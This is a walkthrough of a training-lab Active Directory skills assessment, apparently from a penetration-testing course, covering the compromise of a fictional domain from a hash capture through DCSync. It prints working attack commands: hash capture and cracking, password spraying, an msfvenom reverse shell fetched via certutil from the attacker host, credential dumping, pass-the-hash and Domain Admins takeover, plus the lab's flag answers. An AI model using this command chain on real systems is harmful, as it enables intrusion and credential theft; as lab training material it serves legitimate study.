# AD Enumeration & Attacks - Skills Assessment Part II

### Scenario

Our client Inlanefreight has contracted us again to perform a full-scope internal penetration test. The client is looking to find and remediate as many flaws as possible before going through a merger & acquisition process. The new CISO is particularly worried about more nuanced AD security flaws that may have gone unnoticed during previous penetration tests. The client is not concerned about stealth/evasive tactics and has also provided us with a Parrot Linux VM within the internal network to get the best possible coverage of all angles of the network and the Active Directory environment. Connect to the internal attack host via SSH (you can also connect to it using `xfreerdp` as shown in the beginning of this module) and begin looking for a foothold into the domain. Once you have a foothold, enumerate the domain and look for flaws that can be utilized to move laterally, escalate privileges, and achieve domain compromise.

Q1) Obtain a password hash for a domain user account that can be leveraged to gain a foothold in the domain. What is the account name?

Let's begin with starting responder with the default settings

```bash
sudo responder -I ens224
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FdU1zSUybpkYD7AJQZvsO%2FScreenshot.png?alt=media&#x26;token=8b3268b2-a383-40b0-990b-6e96bf43750f" alt=""><figcaption></figcaption></figure>

Let's review the Responder logs to determine if any hashes were captured.

```bash
cat /usr/share/responder/logs/SMB-NTLMv2-SSP-172.16.7.3.txt
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2Fi2yWEg66sYTRGhymYbhQ%2FScreenshot(1).png?alt=media&#x26;token=c5c1eb38-73c0-465d-8235-694f5e015b3c" alt=""><figcaption></figcaption></figure>

Answer:  `AB920`

Q2) What is this user's cleartext password?

Let's save the hash to a file and attempt to crack it using Hashcat in order to retrieve the plaintext password.

```bash
hashcat -m 5600 ab920_hash /usr/share/wordlists/rockyou.txt
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FUnOubZwkV6C5qcdF2ap6%2FScreenshot(2).png?alt=media&#x26;token=a7a1d0ca-73f2-482e-88da-17b7ab694153" alt=""><figcaption></figcaption></figure>

Answer:  `weasal`&#x20;

Q3) Submit the contents of the C:\flag.txt file on MS01.

Let's check which hosts are alive in the domain first

```bash
fping -asgq 172.16.7.0/23
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2F8K4lkZFMhuHsI1POfXzo%2FScreenshot(3).png?alt=media&#x26;token=a3ac8327-9809-4293-bce9-fec30ca12148" alt=""><figcaption></figcaption></figure>

Let's save these IP addresses to a file and use Nmap to enumerate them, identifying which one corresponds to MS01.

```bash
sudo nmap -v -A -iL hosts.txt
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FCeEBfxtXCQfBez2yE2VK%2FScreenshot(5).png?alt=media&#x26;token=c9da459a-d44d-434d-b166-8f7150242f41" alt=""><figcaption></figcaption></figure>

* **172.16.7.3:**  `DC01`
* **172.16.7.50:** `MS01`
* **172.16.7.60:** `SQL01`
* **172.16.7.240:**  `Our Parrot machine`

Let's verify whether the user **`ab920`** can log in to **`172.16.7.50`**, and determine which authentication protocol is supported for the connection.

```bash
crackmapexec smb 172.16.7.50 -u 'ab920' -p 'weasal'
crackmapexec winrm 172.16.7.50 -u 'ab920' -p 'weasal'
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FPH9RZvUvc6PEdmcdiLys%2FScreenshot(4).png?alt=media&#x26;token=18fa3327-d188-480e-a1a5-f733d3d72b21" alt=""><figcaption></figcaption></figure>

Let's use `Evil-WinRM` to authenticate with the **`ab920`** account.

```bash
evil-winrm -i 172.16.7.50 -u 'ab920' -p 'weasal'
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FpT5h9YYdirGJfGnfOO0C%2FScreenshot(6).png?alt=media&#x26;token=222dc6ca-2b03-4168-9a79-3a4bf546fa3a" alt=""><figcaption></figcaption></figure>

Answer:  `aud1t_gr0up_m3mbersh1ps!`&#x20;

Q4) Use a common method to obtain weak credentials for another user. Submit the username for the user whose credentials you obtain.

It is now time to create a list of target users to be used in the upcoming password spraying attack.

```bash
sudo crackmapexec smb 172.16.7.3 -u 'ab920' -p 'weasal' --users | tee  usernames.txt
cat usernames.txt | cut -d'\' -f2 | awk -F " " '{print $1}' | tee valid_users.txt
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2F5y0pl5Qmbqvcb0IXjcWp%2FScreenshot(9).png?alt=media&#x26;token=179c586e-160e-4122-a810-08b65ce7fc0d" alt=""><figcaption></figcaption></figure>

We now have 2,904 valid usernames in the domain.  Let's now proceed with the password spraying attack.

```bash
kerbrute passwordspray -d inlanefreight.local --dc 172.16.7.3 valid_users.txt Welcome1
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2F8nfpdLHVZRGpiy1wGBQs%2FScreenshot(10).png?alt=media&#x26;token=09337323-b026-447b-9d80-146cd105a3fd" alt=""><figcaption></figcaption></figure>

Answer:  `BR086`&#x20;

Q5) What is this user's password?

Answer:  `Welcome1`&#x20;

Q6) Locate a configuration file containing an MSSQL connection string. What is the password for the user listed in this file?

Let's perform share enumeration to identify any shared resources on which we may have read access.

```bash
smbmap -u 'br086' -p 'Welcome1' -d INLANEFREIGHT.LOCAL -H 172.16.7.3
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FEcPJpwCCmCx3QxT6Kg46%2FScreenshot(14).png?alt=media&#x26;token=65b2f217-5ed2-43cd-a7d1-70598d610e3a" alt=""><figcaption></figcaption></figure>

I found a shared folder named **'Department Shares'** to which we have read access. Let's proceed to review its contents.

```bash
smbmap -u 'br086' -p 'Welcome1' -d INLANEFREIGHT.LOCAL -H 172.16.7.3 -R 'Department Shares'
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FDQ0MSV9llYrbf35MoRnY%2FScreenshot(15).png?alt=media&#x26;token=09c76ed3-d51d-45fa-964d-b5a98ea9aae3" alt=""><figcaption></figcaption></figure>

I found a file named **`web.config`** in the results. Let's review its contents to identify any relevant information.

```bash
smbmap -u 'br086' -p 'Welcome1' -d INLANEFREIGHT.LOCAL -H 172.16.7.3 -R 'Department Shares' -A web.config
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FQqQXn8M9HarQVbEfWdvV%2FScreenshot(16).png?alt=media&#x26;token=a9e329ef-8142-4861-99bd-b292391c5aa3" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FgK2Z5RZdaYWcvsafUhrI%2FScreenshot(17).png?alt=media&#x26;token=6124cbae-5cca-4121-846a-f7f9470bb4f4" alt=""><figcaption></figcaption></figure>

Answer:  `D@ta_bAse_adm1n!`

Q7) Submit the contents of the flag.txt file on the Administrator Desktop on the SQL01 host.

Next, we will use the obtained credentials to authenticate to SQL01 via mssqlclient.

```bash
python3 /usr/local/bin/mssqlclient.py inlanefreight/netdb:'D@ta_bAse_adm1n!'@172.16.7.60
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FaADFyhUIE8yhOZmI7EhP%2FScreenshot(18).png?alt=media&#x26;token=a5a417dc-80e6-46bd-a374-0c3dea74b200" alt=""><figcaption></figcaption></figure>

We have successfully accessed SQL01; however, we do not have the necessary permissions to read the flag. Let's review our current permissions.

```sql
EXEC xp_cmdshell 'whoami /priv'
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FBFqh9MWRt0j2b7kL4UKn%2FScreenshot(19).png?alt=media&#x26;token=dc668ccd-63f7-4252-a7d0-6df5b875a005" alt=""><figcaption></figcaption></figure>

We have the **SeImpersonatePrivilege** enabled, which can be leveraged for privilege escalation by exploiting the **PrintNightmare** vulnerability.

Let's generate a payload using **msfvenom**, and also obtain **PrintSpoofer.exe**. We will download both files to the **SQL01** server.

```bash
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.7.240 LPORT=1335 -f exe -o shell.exe
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FTwMBUDlIVgfNfoBRywq4%2FScreenshot(20).png?alt=media&#x26;token=3532a7f2-8577-4a72-8ac7-80d1eab5bb17" alt=""><figcaption></figcaption></figure>

Next, let's downlaod the two files onto the sql server

```bash
xp_cmdshell "certutil.exe -urlcache -f http://172.16.7.240:8000/PrintSpoofer.exe C:\Users\Public\PrintSpoofer.exe"
xp_cmdshell "certutil.exe -urlcache -f http://172.16.7.240:8000/shell.exe C:\Users\Public\shell.exe"
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FwvvV7r8h6v5e0v9L6tbE%2FScreenshot(21).png?alt=media&#x26;token=814c32db-fea5-4716-bca6-7c21f4d3e747" alt=""><figcaption></figcaption></figure>

Let's initiate the Meterpreter listener and proceed with the privilege escalation attack.

```bash
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 172.16.7.240
set LPORT 1335
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FemL8VP0UjpqCqRoWjUB7%2FScreenshot(22).png?alt=media&#x26;token=4e66d2d8-d160-4507-bb1f-115d5ada034e" alt=""><figcaption></figcaption></figure>

```sql
xp_cmdshell C:\Users\Public\PrintSpoofer.exe -c C:\Users\Public\shell.exe
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FdBdsJTLOqCGBFmvv71J3%2FScreenshot(23).png?alt=media&#x26;token=e3e10912-a97e-4efa-8ec4-cafd2275a9ca" alt=""><figcaption></figcaption></figure>

It is now time to retrieve the flag.

```bash
more C:\Users\administrator\Desktop\flag.txt
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FSFVvjItId2humbMrsep4%2FScreenshot(24).png?alt=media&#x26;token=ad49223f-502f-4be4-aad5-d23ba31e1b19" alt=""><figcaption></figcaption></figure>

Answer: `s3imp3rs0nate_cl@ssic`&#x20;

Q8) Submit the contents of the flag.txt file on the Administrator Desktop on the MS01 host.

We now have system-level privileges on the SQL01 server; the next step is to attempt to retrieve the administrator's hash.

```bash
load kiwi
lsa_dump_creds
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FzfxkPgLOMaJ2eAIhcG7D%2FScreenshot(26).png?alt=media&#x26;token=3f0ebbd9-9bff-47d5-9e3f-78596eb28f12" alt=""><figcaption></figcaption></figure>

Next, we will use this hash to attempt a connection to the MS01 server.

```bash
evil-winrm -i 172.16.7.50 -u administrator -H bdaffbfe64f1fc646a3353be1c2c3c99
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FpvMzUIyLMvKRQhC7GWwL%2FScreenshot(27).png?alt=media&#x26;token=70f4cac6-0e9d-4fad-832c-e1ba22635db2" alt=""><figcaption></figcaption></figure>

Answer:  `exc3ss1ve_adm1n_r1ights!`&#x20;

Q9) Obtain credentials for a user who has GenericAll rights over the Domain Admins group. What's this user's account name?

Let's proceed to download **PowerView\.ps1** on **MS01** to enumerate Access Control Lists (ACLs).

```powershell
certutil.exe -urlcache -f http://172.16.7.240:8000/PowerView.ps1 .\PowerView.ps1
Import-Module .\PowerView.ps1
Get-DomainObjectAcl -Identity "S-1-5-21-3327542485-274640656-2609762496-512" -ResolveGUID
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2F2baVVGZBfB14crtEAfD2%2FScreenshot(8).png?alt=media&#x26;token=65573a10-2776-435b-9f69-1c3b191dade7" alt=""><figcaption></figcaption></figure>

I encountered an error while attempting this, so let's proceed using our Meterpreter session instead.

```bash
use exploit/windows/smb/psexec
set lhost 172.16.7.240
set rhosts 172.16.7.50
set smbuser administrator
set smbpass 00000000000000000000000000000000:bdaffbfe64f1fc646a3353be1c2c3c99
exploit
```

```powershell
Get-DomainObjectAcl -Identity "S-1-5-21-3327542485-274640656-2609762496-512" -ResolveGUID
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FPOv2TtJHD0RruWAyVDXI%2FScreenshot(9).png?alt=media&#x26;token=ddc75a0d-47b7-4618-adda-ec5fa13eb23b" alt=""><figcaption></figcaption></figure>

Let's apply a filter for the **GenericAll** permission.

```powershell
Get-DomainObjectAcl -Identity "S-1-5-21-3327542485-274640656-2609762496-512" -ResolveGUID
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FQUFwtK8X6HEOEMgVEvdl%2FScreenshot(10).png?alt=media&#x26;token=9655bcc1-171c-43b0-82a2-d6303ac3bd8d" alt=""><figcaption></figcaption></figure>

Next, let'sconvert the security identifier (SID) to a username to identify the associated user.

```powershell
Convert-SidtoName "S-1-5-21-3327542485-274640656-2609762496-4611"
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2Fo0hM9zRiQ9RZ4nnkE7MQ%2FScreenshot(11).png?alt=media&#x26;token=6ebcbf98-9df7-4746-b8ed-832994c39c08" alt=""><figcaption></figcaption></figure>

Answer:  `CT059`&#x20;

Q10) Crack this user's password hash and submit the cleartext password as your answer.

For this task, we will use Inveigh on MS01 to conduct a man-in-the-middle attack in an attempt to capture the NTLM hash of the target user.

```powershell
certutil.exe -urlcache -f http://172.16.7.240:8000/Inveigh.ps1 .\Inveigh.ps1
Import-Module .\Inveigh.ps1
Invoke-Inveigh -NBNS Y LLMNR Y -ConsoleOutput Y -FileOutput Y
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FMk1BFqfiYXOn91d69ma4%2FScreenshot(12).png?alt=media&#x26;token=565e3a3b-947f-455f-ae7a-3dcddb91e3dc" alt=""><figcaption></figcaption></figure>

Let's save this to a file and attempt to crack it using Hashcat.

```bash
hashcat -m 5600 CT059_hash /usr/share/wordlists/rockyou.txt
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FJZnpty2Qlv8IjPXkeRiZ%2FScreenshot(13).png?alt=media&#x26;token=3f00b17e-c5d8-44ed-aec5-4ac17a64e425" alt=""><figcaption></figcaption></figure>

Answer:  `charlie1`&#x20;

Q11) Submit the contents of the flag.txt file on the Administrator desktop on the DC01 host.

The user **CT059** now has the **GenericAll** permission. Therefore, we can proceed to add this user to the **Domain Admins** group and initiate a **DCSync** attack.

Let's configure the proxychains configuration file (`/etc/proxychains.conf`) on the Parrot host to route traffic through a SOCKS4 proxy on port 9050. This setup will allow us to authenticate to the MS01 machine via RDP using the credentials of the user **CT059**.

```bash
sudo nano /etc/proxychains.conf
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FF7BAMn2URV1F43IxfcDS%2FScreenshot(14).png?alt=media&#x26;token=c7af0263-419c-499d-9e6f-3affaecef4e9" alt=""><figcaption></figcaption></figure>

Next, establish an SSH connection and create a SOCKS proxy on local port 9050.

```bash
ssh -D 9050 htb-student@10.129.221.33
```

Let's now authenticate to the MS01 server via RDP using the credentials of user **`CT059`**.

```bash
proxychains xfreerdp /v:172.16.7.50 /u:CT059 /p:charlie1 /d:inlanefreight.local /dynamic-resolution /drive:Shared,//home/htb-ac-1224655/
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2Fzmex5zMHCGRrFFLOqn14%2FScreenshot(15).png?alt=media&#x26;token=76221e05-22a7-4872-8865-73c796a88745" alt=""><figcaption></figcaption></figure>

Let's proceed to add this account to the Domain Admins group.

```bash
net group 'Domain Admins' ct059 /add /domain
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2F1KRQll5YUureUCajJlaA%2FScreenshot(16).png?alt=media&#x26;token=09368730-1840-4bfe-b022-27fc909f64b1" alt=""><figcaption></figcaption></figure>

It is now time to migrate to DC01.

```powershell
$cred = New-Object System.Management.Automation.PSCredential("INLANEFREIGHT\CT059", (ConvertTo-SecureString "charlie1" -AsPlainText -Force))
Enter-PSSession -ComputerName DC01 -Credential $cred
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FpFQvEJna6f6IRrPRNU3A%2FScreenshot(18).png?alt=media&#x26;token=037ecfd5-eb7a-432d-8f21-51a9d07bf9b2" alt=""><figcaption></figcaption></figure>

Answer:  `acLs_f0r_th3_w1n!`&#x20;

Q12) Submit the NTLM hash for the KRBTGT account for the target domain after achieving domain compromise.

Now, let's authenticate to DC01 and execute a DCSync attack.

```bash
psexec.py inlanefreight.local/CT059:charlie1@172.16.7.3
lsadump::dcsync /user:inlanefreight\krbtgt
```

<figure><img src="https://2537271824-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FIswWWP3l0rGuQmG2WUcr%2Fuploads%2FD86ymLb60ayJpO9H4VZc%2FScreenshot(19).png?alt=media&#x26;token=7df98e42-c114-428f-83d5-7b0706745c52" alt=""><figcaption></figcaption></figure>

Answer:  `7eba70412d81c1cd030d72a3e8dbe05f`
